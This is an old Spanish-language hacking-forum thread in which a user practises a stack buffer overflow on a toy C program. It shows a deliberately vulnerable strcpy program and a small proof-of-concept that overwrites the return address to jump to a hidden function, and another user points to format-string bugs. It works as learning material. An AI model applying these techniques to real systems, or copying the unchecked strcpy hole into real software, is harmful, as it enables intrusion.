elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 06:52  


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Buffer Overflowing
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Buffer Overflowing  (Leído 791 veces)
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Buffer Overflowing
« en: 24 Marzo 2005, 12:41 »

Saludos,

Hice un pequeño programa para practicar el overflow , la idea es tratar de hacer que el programa llame a una funcion que nunca se llama , ejemplo:

Código:
int main(){
printf("hola");
return 0;
}

void nada()
{
printf("secreto");
return;
}

Eso es solo un  ejemplo rapido pero el overflow si se llega a producir y llego a sobre escribir la direccion de retorno. Usando el objdump y gdb encontre que el offset de la funcion oculta es 0x80483be algo que quedaria haci:

Código:
char offset[] = "\xbe\x83\x04\x08";

Pero no funciona , pienso que es porque el x08 es un backspace y no llega a salir cuando trato de explotar el fallo. Acaso hay algo que estoy implementando mal o alguien me da alguna idea o opinion?

PD: Esto es en linux , porque lo intente en windows y el offset era un 004.... y no se puede o no pude llamar a un x00.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: Buffer Overflowing
« Respuesta #1 en: 24 Marzo 2005, 14:56 »

No funciona porq ahi no hay ningun overflow, ni ningun error. Creo que quiere practicar format bugs ?
Citar
int main(int argv, char **argc){
if(argv != 1){
int a = 1;
printf("Supply argument #" , a  )
}
printf("hola ", argc[1]);
return 0;
}

void nada()
{
printf("secreto");
return;
}

:) varios format bugs
En línea

Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: Buffer Overflowing
« Respuesta #2 en: 24 Marzo 2005, 22:51 »

 no , los format bugs estoy vencido por ahora  :( , este es un buffer overflow , el codigo es haci

Código:
int main(int argc ,char *argv[])
{
char buf[101];
strcpy(buf,argv[1]);
printf(" %s",buf);
printf("\n");
return 0;
}

Y luego otra funcion , el codigo de arriba era solo un ejemplo de las funciones,  el unico problema que tengo es el offset que aparentemente no lo quiere cojer el x08 o quizas sea solo algo que ago malo pero seguire intentando.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re: Buffer Overflowing
« Respuesta #3 en: 24 Marzo 2005, 23:11 »

si pones el codigo del programa que explota el fallo seria mas facil ayudarte.
En línea
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: Buffer Overflowing
« Respuesta #4 en: 24 Marzo 2005, 23:24 »

programa:

Código:
#include <stdio.h>



int main(int argc ,char *argv[])
{
char buf[35];
strcpy(buf,argv[1]);
printf("Dijiste: %s",buf);
printf("\n");
return 0;
}

void foo()
{

char f[] = "Foo empieza ahora.";
char a[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

printf("%s%s%s%s%s%s%s%s%s%s%s",a[31],a[4],a[11],a[9],a[2],a[9],a[3],a[0],a[3],a[4],a[18]);
return;
}

poc:
[code#include <stdio.h>

int main(int argc,char *argv[])
{

char code[1024];
char buf[] = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN";
char offset[] = "\xbe\x83\x04\x08";

strcat(code,buf);
strcat(code,offset);

execl("hzb","hzb",code,0); //hzb es el programa compilado

return 0;
}
]
Código:

El buffer overflow ocurrio en la OOOO y el offset de la funcion foo es en 0x80483be.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: Buffer Overflowing
« Respuesta #5 en: 25 Marzo 2005, 02:28 »

Ya lo tengo  :D , use un buffer mas pequeño para poder hacerlo mas rapido y en foo  quite el return y puse un exit(0) . Porque estaba haciendo return a 0x000000 y eso no iva a ninguna parte.

Gracias como quiera.

heap: Animate a hacer un tutorial sobre los format bugs a ver si llego a entender el %n y como explotar el .dtor que no entiendo los demas tutoriales  :P
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: Buffer Overflowing
« Respuesta #6 en: 25 Marzo 2005, 07:42 »

Bien que te haya salido.
FORMAT BUGS:
http://julianor.tripod.com/teso-fs1-1.pdf

Si hiciera algo seria traducirlo, depronto agregarle alguito......pero para que ?
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
¿Qué pasa con mi buffer? [¡¡¡Resuelto!!!]
Bugs y Exploits
Garfield07 3 733 Último mensaje 5 Marzo 2011, 19:49
por Garfield07
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines